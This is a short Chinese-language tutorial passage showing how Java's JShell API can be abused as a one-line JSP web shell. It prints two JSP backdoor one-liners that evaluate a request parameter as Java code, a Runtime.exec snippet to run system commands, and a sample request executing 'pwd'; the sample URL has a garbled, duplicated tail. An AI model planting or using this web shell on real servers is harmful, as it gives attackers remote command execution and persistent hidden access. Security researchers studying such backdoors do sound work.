jshell不仅是一个命令行工具,在我们的应用程序中同样也可以调用jshell内部的实现API,也就是说我们可以利用jshell来执行Java代码片段而不再需要将Java代码编译成class文件后执行了。
    jshell调用了jdk.jshell.JShell类的eval方法来执行我们的代码片段,那么我们只要想办法调用这个eval方法也就可以实现真正意义上的一句话木马了。
    jshell.jsp一句话木马示例:

    1. <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src"))%>

    程序执行后会输出一些不必要的信息,如果有强迫症可以修改为:

    1. <%=jdk.jshell.JShell.builder().build().eval(request.getParameter("src")).get(0).value().replaceAll("^\"", "").replaceAll("\"$", "")%>

    然后我们需要编写一个执行本地命令的代码片段:

    1. new String(Runtime.getRuntime().exec("pwd").getInputStream().readAllBytes())

    Java 9java.io.InputStream类正好提供了一个readAllBytes方法,我们从此以后再也不需要按字节读取了。
    浏览器请求:http://localhost:8080/jshell.jsp?src=new%20String(Runtime.getRuntime().exec(%22pwd%22).getInputStream().readAllBytes()).exec(“pwd”).getInputStream().readAllBytes()))
    程序执行结果:
    2. 使用JShell执行代码片段 - 图1